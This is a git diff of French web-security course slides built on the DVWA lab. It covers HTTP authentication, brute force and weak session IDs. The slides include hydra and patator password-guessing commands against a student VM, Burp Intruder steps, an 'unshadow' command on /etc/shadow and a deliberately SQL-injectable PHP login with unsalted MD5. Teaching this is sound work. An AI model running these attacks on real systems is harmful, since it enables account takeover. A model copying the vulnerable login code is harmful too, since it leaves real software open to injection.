diff --git a/content/Etudiants/zz2-f5-websec.md b/content/Etudiants/zz2-f5-websec.md
index 97899453287133eb880d96624f6e0e594ee37ca8..db1252f68788d5fb23d97931d97683824c76401d 100644
--- a/content/Etudiants/zz2-f5-websec.md
+++ b/content/Etudiants/zz2-f5-websec.md
@@ -124,13 +124,13 @@ Tags: cours
       <li>
         <a href="slides/1337/bruteforce.html"
           class="customizable">
-          Brute force <i class="fas fa-hammer"></i>
+          Brute force
         </a>
       </li>
       <li>
         <a href="slides/1337/session.html"
           class="customizable">
-          Session <i class="fas fa-hammer"></i>
+          Session
         </a>
       </li>
     </ul>
diff --git a/content/slides/1337/images/session/cookie.png b/content/slides/1337/images/session/cookie.png
new file mode 100644
index 0000000000000000000000000000000000000000..e2925cf1755285fc7b050a69e9ed3f77bc1bd405
Binary files /dev/null and b/content/slides/1337/images/session/cookie.png differ
diff --git a/content/slides/1337/images/session/free.png b/content/slides/1337/images/session/free.png
new file mode 100644
index 0000000000000000000000000000000000000000..3d453254d0bdd5867a029a44afea2ec0e66ae6c8
Binary files /dev/null and b/content/slides/1337/images/session/free.png differ
diff --git a/content/slides/1337/images/session/sequencer.png b/content/slides/1337/images/session/sequencer.png
new file mode 100644
index 0000000000000000000000000000000000000000..04718a13b7cad11435a10132c527c75168aef43a
Binary files /dev/null and b/content/slides/1337/images/session/sequencer.png differ
diff --git a/content/slides/1337/images/session/sequencer2.png b/content/slides/1337/images/session/sequencer2.png
new file mode 100644
index 0000000000000000000000000000000000000000..4a651e821abaa535b39bacc89cb5837877d16955
Binary files /dev/null and b/content/slides/1337/images/session/sequencer2.png differ
diff --git a/content/slides/1337/md/authentication.md b/content/slides/1337/md/authentication.md
index 4a630e68914bc7815863f7b45e39050e3f9508d6..fa132500feb9894080b7cbf554d6d92fbe1e2733 100644
--- a/content/slides/1337/md/authentication.md
+++ b/content/slides/1337/md/authentication.md
@@ -1,18 +1,18 @@
-## authentification
+# authentification
 
 "processus permettant à un système de s'assurer de la légitimité de la demande d'accès faite par une entité (être humain ou un autre système...) afin d'autoriser l'accès de cette entité à des ressources du système (systèmes, réseaux, applications…) conformément au paramétrage du contrôle d'accès ."
 
 <i class="fa-brands fa-wikipedia-w"></i>ikipédia
 
 
-## 3 concepts
+### 3 concepts
 
 * identification
 * **authentification**
 * ACL
 
 
-## preuves
+### preuves
 
 * **ce que je sais**: mot de passe, numéro d'identification personnel
 * **ce que je possède**: carte d'identité, carte à puce, certificat électronique, Token, Token OTP, périphérique
@@ -20,24 +20,12 @@
 * **ce que je sais faire**: geste, signature
 
 
-## 2AF
-
-![Google Authenticator](images/authentication/google-authenticator.png)
-
-https://www.google.com/landing/2step/
-
-
-## Yubikey
-
-[![Ubikey](../privacy/images/passwords/yubikey.png)](https://www.yubico.com/)
-
-
 # quelques techniques
 ## du world wide web
 ### A base de login / mot de passe
 
 
-## apache & .htaccess
+### apache & .htaccess
 
 * [EnablingUseOfApacheHtaccessFiles](https://help.ubuntu.com/community/EnablingUseOfApacheHtaccessFiles)
   * surcharge du vhost courant (déconseillé)
@@ -63,7 +51,7 @@ Note:
         - à creuser
 
 
-## auth basic .htaccess
+### auth basic / .htaccess
 
 ```
 $ vi /var/www/http-basic/.htaccess
@@ -82,7 +70,7 @@ $ htpasswd /var/www/http-basic/.htpasswd otheruser
 ```
 
 
-## auth basic
+### auth basic / requête
 
 le client demande un contenu (protégé)
 
@@ -97,7 +85,7 @@ Connection: keep-alive
 ```
 
 
-## auth basic
+### auth basic / réponse
 
 le serveur répond que le contenu est protégé
 
@@ -118,12 +106,12 @@ Content-Type: text/html; charset=iso-8859-1
 ```
 
 
-## auth basic
+### auth basic
 
 ![HTTP basic auth](images/authentication/http-basic-auth.png "HTTP basic auth")
 
 
-## auth basic
+### auth basic
 
 ```http
 GET /http-basic/ HTTP/1.1
@@ -141,7 +129,7 @@ Authorization: Basic b3dhc3A6cGFzc3dvcmQ=
 [base64](https://fr.wikipedia.org/wiki/Base64)(username:password)
 
 
-## auth digest
+### auth digest
 
 * Même schéma que la version Basic excepeté
   * algorithme de hashage [MD5](https://fr.wikipedia.org/wiki/MD5) plutôt qu'un simple encodage [base64](https://fr.wikipedia.org/wiki/Base64)
@@ -153,12 +141,12 @@ $ sudo service apache2 reload
 ```
 
 
-## auth digest
+### auth digest
 
 !["Basic Digest Auth"](images/authentication/http-digest-auth.png "Basic Digest Auth")<!-- .element style="background-color: white" -->
 
 
-## auth digest .htaccess
+### auth digest / .htaccess
 
 ```
 $ vi /var/www/http-digest/.htaccess
@@ -179,7 +167,7 @@ htdigest /var/www/http-basic/.htdigest "authdigest" otheruser
 ```      
 
 
-## auth digest
+### auth digest
 
 * le client demande un contenu (protégé)
 * le serveur répond que le contenu est protégé
@@ -195,12 +183,12 @@ WWW-Authenticate: Digest realm="OwaspSample",
 ```
 
 
-## auth digest
+### auth digest
 
 ![HTTP digest auth](images/authentication/http-basic-auth.png "HTTP digest auth")
 
 
-## auth digest
+### auth digest
 
 ```http
 GET /example/owasp/test.asmx HTTP/1.1
@@ -231,34 +219,48 @@ Note:
 - pas de blocage testable à l'infini
 
 
-## authentification par formulaire
-
-le plus courant
+### authentification par formulaire
 
-```
+```html
 <form method="POST" action="login">
 <input type="text" name="username">
 <input type="password" name="password">
 </form>
 ```
 
+```php
+$connect = mysqli_connect("host","user","pwd", "db");
+$result = $connect->query(
+  "SELECT password FROM user WHERE Username = '$_POST['username'];"
+);
+if(mysqli_num_rows($result) > 0 ){
+  $row = mysqli_fetch_assoc($result);
+  if($row["password"] == md5($_POST['password']))
+  {
+        echo "auth success";  
+  }
+}
+echo "auth failed";
+
+```
+
 
-## authentification par formulaire
+### authentification par formulaire
 
 * le mot de passe est transmis en clair au serveur
   * https :)
-* stocker les mots de passe en clair sur le serveur est un mauvaise idée
+* stocker les mots de passe en clair sur le serveur est une mauvaise idée
   * [Rockyou.com en 2010](http://commedansdubeurre.ch/?story=162-piratage-de-32-millions-de-comptes-utilisateurs-chez-rockyou-recours-collectif-depose)
 * stocker les hashés est une bonne pratique
 * saler les hashés est encore mieux
 
 
-## oAuth
+### oAuth
 
 ![oAuth](images/authentication/oAuth.png "oAuth")
 
 
-## oAuth
+### oAuth
 
 | Version | SSL         | Token           | Technique                |
 | ------- | ----------- | --------------- | ------------------------ |
@@ -277,180 +279,40 @@ Note:
 - confiance dans consumer (l'app qui demande l'autorisation)
 
 
-## SSO
+### SSO
 
 * [CAS](http://www.apereo.org/cas)
 
 ##### "Identity providers (IdPs) supply user information, while service providers (SPs) consume this information and give access to secure content"
 
-* [SAML](https://fr.wikipedia.org/wiki/SAML) [Shibboleth](images/authentication/Shibboleth.png) 
+* [keycloak](https://www.keycloak.org/)
 * [OpenID](https://openid.net/)
+* [SAML](https://fr.wikipedia.org/wiki/SAML) [Shibboleth](images/authentication/Shibboleth.png) 
 * [lemonldap-ng](https://lemonldap-ng.org/welcome/)
 
 
-## JWT
+### JWT
 
 [![jwt auth](images/authentication/jwt-auth.png "jwt auth")<!-- .element style="width: 80%" -->](https://blog.ippon.fr/2017/10/12/preuve-dauthentification-avec-jwt/)
 
 
-## force brute
-
-* par dictionnaires
-  * liste d'utilisateurs + liste de mots de passe
-    * optimisable avec
-      * de la probabilité
-      * [des dictionnaires au hasard](https://dazzlepod.com/site_media/txt/passwords.txt)
-      * de l'ingénieurie sociale
-      * du flaire etc ...
-
-
-## force brute
-
-* par recherche
-    * combinatoire
-* hybride
-  * décliner via des règles les propositions d'un dictionnaire
-  * leetspeakation automatique
-  * [John the Ripper](http://www.openwall.com/john/) permet de générer des mots de passes dérivant de parties du username
-
-
-## Brute force [low/medium]
-
-```shell
-export security=low
-export PHPSESSID=esiff3kfto23f7uit3vr90jks4
-```
-
-```shell
-hydra -l admin \
-  -P /usr/share/wordlists/rockyou.txt \
-  vm-etu-vimazeno.local.isima.fr \
-  http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: PHPSESSID=${PHPSESSID}; security=${security};:Username and/or password incorrect."
-```
-
-* [THC Hydra](https://github.com/vanhauser-thc/thc-hydra)
-  * medium: sleep(2). Un peu plus long.
-
-
-## Brute force [medium]
-
-```shell
-export security=medium
-export PHPSESSID=esiff3kfto23f7uit3vr90jks4
-```
-
-```shell
-patator  http_fuzz  method=GET  follow=0  accept_cookie=0  --threads=1 --rate-limit=2 timeout=10 \
-  url="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/brute/?username=admin&password=FILE0&Login=Login" \
-  0=/usr/share/wordlists/rockyou.txt \
-  header="Cookie: security=${security}; PHPSESSID=${PHPSESSID}" \
-  resolve="vm-etu-vimazeno.local.isima.fr:10.16.41.197" \
-  -x ignore:fgrep='Username and/or password incorrect.'
-```
+### 2FA
 
-* [patator](https://github.com/lanjelot/patator)
-  * resolv= -> [buggy version](https://bytemeta.vip/repo/lanjelot/patator/issues/174)
-
-
-## Brute force [hard]
-capturer la soumission du formulaire
-![capturer la soumission du formulaire dans Proxy](images/authentication/dvwa-auth-high-capture-request.png)<!-- .element style="width: 90%" --> 
-
-
-## Brute force [hard]
-envoyer la requête dans *Intruder*
-![envoyer la requête dans Intruder](images/authentication/dvwa-auth-high-send-intruder.png)<!-- .element style="width: 90%" --> 
-
-
-## Brute force [hard]
-* onglet *Intruder*
-  * *attack type* -> *pitchfork*
-  * ne laisser que password et user_token en paramètres
-![Intruder configuré](images/authentication/dvwa-auth-high-intruder-clean.png)<!-- .element style="width: 90%" --> 
-
-
-## Brute force [hard]
-
-* onglet *Payloads*
-  * *Payload set*: 1 (mot de passe) -> *Simple list*
-    * *Payload settings [Simple list]* -> *load* -> */usr/share/wordslists/fasttrack.txt*
-![Intruder / mot de passe](images/authentication/dvwa-auth-high-simple-list.png)<!-- .element style="width: 90%" --> 
-
-
-## Brute force [hard]
-  * *Payload set*: 2 (token anti CSRF) -> *Recursive grep*
-* onglet *Settings*
-  * *Grep - Extract* -> *add*
-![Intruder / mot de passe](images/authentication/dvwa-auth-high-define-grep-extract.png)<!-- .element style="width: 90%" --> 
-
-
-## Brute force [hard]
-* onglet *Resource pool*
-  * cocher *create new resource pool*
-![Intruder / Ressource](images/authentication/dvwa-auth-high-ressources.png)<!-- .element style="width: 90%" --> 
-
-
-## Brute force [hard]
-![Intruder / Resolved](images/authentication/dvwa-auth-high-resolved.png)<!-- .element style="width: 90%" --> 
-
-## attaques offline
-
-* Dépend de la puissance de calcul
-* Non furtive
-* Reproductible
-
-
-## attaques offline
-
-* [OPHCRACK (the time-memory-trade-off-cracker)](http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/)
-  * monde windows
-  * fichiers SAM
-  * fonctionne avec des [dictionnaires](http://ophcrack.sourceforge.net/tables.php)
-  * <i class="fa fa-gift"></i> <a href="http://www.newbiecontest.org/index.php?page=epreuve&no=224">obtenir le pass d'un compte windows en moins de 10 minutes</a>
-  * [Password Cracking: Lesson 2](http://www.computersecuritystudent.com/SECURITY_TOOLS/PASSWORD_CRACKING/lesson2/)
-
-
-## attaques offline
-
-* [John the Ripper](http://www.openwall.com/john/)
-  * monde UNIX/BSD
-  * fichier /etc/passwd + /etc/shadow
-  * mangling rules: leet speak, custom ...
-
-```shell
-unshadow /etc/passwd /etc/shadow > mypasswd
-```
-
-* [Checking Password Complexity with John the Ripper](http://www.admin-magazine.com/Articles/John-the-Ripper)
+![Google Authenticator](images/authentication/google-authenticator.png)
 
+https://www.google.com/landing/2step/
 
-## attaques par tables arc-en-ciel
 
-* [CrackStation](https://crackstation.net/)
-  * avec la signature de smithy dans la table user
+### 2FA / Yubikey
 
-```shell
-5f4dcc3b5aa765d61d8327deb882cf99
-```
+[![Ubikey](../privacy/images/passwords/yubikey.png)](https://www.yubico.com/)
 
 
-## <i class="fa fa-medkit"></i> Se protéger
+### <i class="fa fa-medkit"></i> Se protéger
 
 * bien choisir son système d'authentification
 * bien implémenter son système d'authentification
   * [ESAPI (The OWASP Enterprise Security API)](https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API)
   * libs & bundles éprouvés
-* mettre un nombre d'essais maximum consécutifs
-  * plugin anti brute force
-    * wordpress
-    * drupal
-  * compléter par des restrictions par IP, voir par blocs d'IPs
-
-
-## <i class="fa fa-medkit"></i> Se protéger
-
-* instaurer des règles de durcissement au moment du choix du mot de passe
-  * pas contournable côté client ;)
-* sensibilisez vos utilisateurs
 * mettre en place un deuxième facteur d'authentification
 * utiliser la crypto asymétrique
diff --git a/content/slides/1337/md/bruteforce.md b/content/slides/1337/md/bruteforce.md
index 5c515973ba22ff75383154dc8bda3ef8c3efca5c..51a4d103071e7f34fca43dc7d44acf64a19552a7 100644
--- a/content/slides/1337/md/bruteforce.md
+++ b/content/slides/1337/md/bruteforce.md
@@ -1 +1,166 @@
-# Brute Force
\ No newline at end of file
+# Brute Force
+
+## AKA burning cpu
+
+
+### force brute
+
+* par dictionnaires
+  * liste d'utilisateurs + liste de mots de passe
+    * optimisable avec
+      * de la probabilité
+      * [des dictionnaires au hasard](https://dazzlepod.com/site_media/txt/passwords.txt)
+      * de l'ingénieurie sociale
+      * du flaire etc ...
+
+
+## force brute
+
+* par recherche
+    * combinatoire
+* hybride
+  * décliner via des règles les propositions d'un dictionnaire
+  * leetspeakation automatique
+  * [John the Ripper](http://www.openwall.com/john/) permet de générer des mots de passes dérivant de parties du username
+
+
+### <i class="fa-solid fa-bomb"></i> Brute force / low
+
+extract rockyou.txt
+
+```bash
+cd /usr/share/wordlists
+sudo gzip -d rockyou.txt.gz
+```
+
+```bash
+export security=low
+export PHPSESSID=esiff3kfto23f7uit3vr90jks4
+hydra -l admin \
+  -P /usr/share/wordlists/rockyou.txt \
+  vm-etu-vimazeno.local.isima.fr \
+  http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: PHPSESSID=${PHPSESSID}; security=${security};:Username and/or password incorrect."
+```
+
+
+### <i class="fa-solid fa-bomb"></i> Brute force / medium
+
+* `sleep(2)` : Un peu plus long.
+
+```shell
+export security=medium
+export PHPSESSID=esiff3kfto23f7uit3vr90jks4
+```
+
+```shell
+patator  http_fuzz  method=GET  follow=0  accept_cookie=0  --threads=1 --rate-limit=2 timeout=10 \
+  url="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/brute/?username=admin&password=FILE0&Login=Login" \
+  0=/usr/share/wordlists/rockyou.txt \
+  header="Cookie: security=${security}; PHPSESSID=${PHPSESSID}" \
+  resolve="vm-etu-vimazeno.local.isima.fr:10.16.41.197" \
+  -x ignore:fgrep='Username and/or password incorrect.'
+```
+
+* [patator](https://github.com/lanjelot/patator)
+  * resolv= -> [buggy version](https://bytemeta.vip/repo/lanjelot/patator/issues/174)
+
+
+### <i class="fa-solid fa-bomb"></i> Brute force / high
+
+capturer la soumission du formulaire
+![capturer la soumission du formulaire dans Proxy](images/authentication/dvwa-auth-high-capture-request.png)<!-- .element style="width: 90%" --> 
+
+
+### <i class="fa-solid fa-bomb"></i> Brute force / high
+
+envoyer la requête dans *Intruder*
+![envoyer la requête dans Intruder](images/authentication/dvwa-auth-high-send-intruder.png)<!-- .element style="width: 90%" --> 
+
+
+### <i class="fa-solid fa-bomb"></i> Brute force / high
+
+* onglet *Intruder*
+  * *attack type* -> *pitchfork*
+  * ne laisser que password et user_token en paramètres
+![Intruder configuré](images/authentication/dvwa-auth-high-intruder-clean.png)<!-- .element style="width: 90%" --> 
+
+
+### <i class="fa-solid fa-bomb"></i> Brute force / high
+
+* onglet *Payloads*
+  * *Payload set*: 1 (mot de passe) -> *Simple list*
+    * *Payload settings [Simple list]* -> *load* -> */usr/share/wordslists/fasttrack.txt*
+![Intruder / mot de passe](images/authentication/dvwa-auth-high-simple-list.png)<!-- .element style="width: 90%" --> 
+
+
+### <i class="fa-solid fa-bomb"></i> Brute force / high
+
+  * *Payload set*: 2 (token anti CSRF) -> *Recursive grep*
+* onglet *Settings*
+  * *Grep - Extract* -> *add*
+![Intruder / mot de passe](images/authentication/dvwa-auth-high-define-grep-extract.png)<!-- .element style="width: 90%" --> 
+
+
+### <i class="fa-solid fa-bomb"></i> Brute force / high
+
+* onglet *Resource pool*
+  * cocher *create new resource pool*
+![Intruder / Ressource](images/authentication/dvwa-auth-high-ressources.png)<!-- .element style="width: 90%" --> 
+
+
+### <i class="fa-solid fa-bomb"></i> Brute force / high
+
+![Intruder / Resolved](images/authentication/dvwa-auth-high-resolved.png)<!-- .element style="width: 90%" --> 
+
+
+## attaques offline
+
+* Dépend de la puissance de calcul
+* Non furtive
+* Reproductible
+
+
+## attaques offline
+
+* [OPHCRACK (the time-memory-trade-off-cracker)](http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/)
+  * monde windows
+  * fichiers SAM
+  * fonctionne avec des [dictionnaires](http://ophcrack.sourceforge.net/tables.php)
+  * <i class="fa fa-gift"></i> <a href="http://www.newbiecontest.org/index.php?page=epreuve&no=224">obtenir le pass d'un compte windows en moins de 10 minutes</a>
+  * [Password Cracking: Lesson 2](http://www.computersecuritystudent.com/SECURITY_TOOLS/PASSWORD_CRACKING/lesson2/)
+
+
+## attaques offline
+
+* [John the Ripper](http://www.openwall.com/john/)
+  * monde UNIX/BSD
+  * fichier /etc/passwd + /etc/shadow
+  * mangling rules: leet speak, custom ...
+
+```shell
+unshadow /etc/passwd /etc/shadow > mypasswd
+```
+
+* [Checking Password Complexity with John the Ripper](http://www.admin-magazine.com/Articles/John-the-Ripper)
+
+
+## attaques par tables arc-en-ciel
+
+* [CrackStation](https://crackstation.net/)
+  * avec la signature de smithy dans la table user
+
+```shell
+5f4dcc3b5aa765d61d8327deb882cf99
+```
+
+
+## <i class="fa fa-medkit"></i> Se protéger
+
+* instaurer des règles de durcissement au moment du choix du mot de passe
+  * pas contournable côté client ;)
+* mettre un nombre d'essais maximum consécutifs
+  * plugin anti brute force
+    * wordpress
+    * drupal
+  * compléter par des restrictions par IP, voir par blocs d'IPs
+* sensibilisez vos utilisateurs
diff --git a/content/slides/1337/md/detecting.md b/content/slides/1337/md/detecting.md
index 25753c07a775a0f756f670aa7d6251990a45f738..02a712256ae1c2d3450fb46978857895e2038249 100644
--- a/content/slides/1337/md/detecting.md
+++ b/content/slides/1337/md/detecting.md
@@ -169,26 +169,6 @@ Note:
         * inclus les plugins vulnérables
 
 
-## Gestion de sessions
-
-* [SID](http://php.net/manual/fr/session.idpassing.php)
-  * copier le SID ouvre une session
-  * /server-status [mod_status](https://httpd.apache.org/docs/2.4/mod/mod_status.html)
-* cookie
-  * copier le cookie ouvre une session
-  * regarder s'il y d'autres paramètres
-* SID prédictibles?
-  * patterns triviaux
-  * la recherche de non [entropie](https://fr.wikipedia.org/wiki/Entropie_de_Shannon)
-  * tomber sur une session en cours
-
-Note:
-- paramètre dans cookie cf TP
-- [Entropy analysis tools](http://sourceforge.net/p/entropyanalysis/code/ci/master/tree/)
-- [Entropy analysis tools](https://github.com/ulikoehler/entropy-analysis-tools)
-    - toujours le même résultat : entropie nulle
-
-
 ## Spidering
 
 * Arborescence
diff --git a/content/slides/1337/md/session.md b/content/slides/1337/md/session.md
index 6f937a2ea6f7076343184ad31dbece177ff313a4..4498d881b3e172037ee3c6cd22d6090caf2bc60b 100644
--- a/content/slides/1337/md/session.md
+++ b/content/slides/1337/md/session.md
@@ -1 +1,42 @@
-# session
\ No newline at end of file
+# Weak Session IDs
+
+## aka lack of entropy
+
+
+## Entropie
+
+* **Thermodynamique**:Grandeur thermodynamique exprimant le degré de désordre de la matière
+* **Théorie de l'information**: Quantité moyenne d'information attribuable à un message constitué par un ensemble de signaux, représentant le degré d'incertitude où l'on est de l'apparition de chaque signal
+
+
+### <i class="fa-solid fa-bomb"></i> Weak Session IDs / low
+
+![visualiser ses cookies](images/session/cookie.png)<!-- .element style="width: 90%" --> 
+
+simple incrémentation
+
+
+### <i class="fa-solid fa-bomb"></i> Weak Session IDs / low
+
+![sequencer entropy](images/session/sequencer.png)<!-- .element style="width: 90%" --> 
+
+
+### <i class="fa-solid fa-bomb"></i> Weak Session IDs / low
+
+![sequencer entropy](images/session/sequencer2.png)<!-- .element style="width: 90%" --> 
+
+
+### <i class="fa-solid fa-bomb"></i> Weak Session IDs / medium
+
+timestamp
+
+
+### <i class="fa-solid fa-bomb"></i> Weak Session IDs / high
+
+* hash MD5 probable
+* [CrackStation](https://crackstation.net/)
+
+
+### <i class="fa-solid fa-bomb"></i> Weak Session IDs
+
+![free](images/session/free.png)<!-- .element style="width: 90%" --> 
\ No newline at end of file
diff --git a/content/slides/main.js b/content/slides/main.js
index a05d2e3ed0289c3bc9a155b702f407f4b7414f2e..f551fe25a331552a2f34489cd7a404655e17cd0c 100644
--- a/content/slides/main.js
+++ b/content/slides/main.js
@@ -46,7 +46,7 @@ Reveal.addEventListener( "ready", (event) => {
 
     for (let code of document.getElementsByTagName("code")) {
 
-        code.innerHTML = code.innerHTML.replaceAll("http://vm-etu-vimazeno.local.isima.fr", "http://vm-" + user + ".local.isima.fr");
+        code.innerHTML = code.innerHTML.replaceAll("vm-etu-vimazeno.local.isima.fr", "vm-etu-" + user + ".local.isima.fr");
 
     }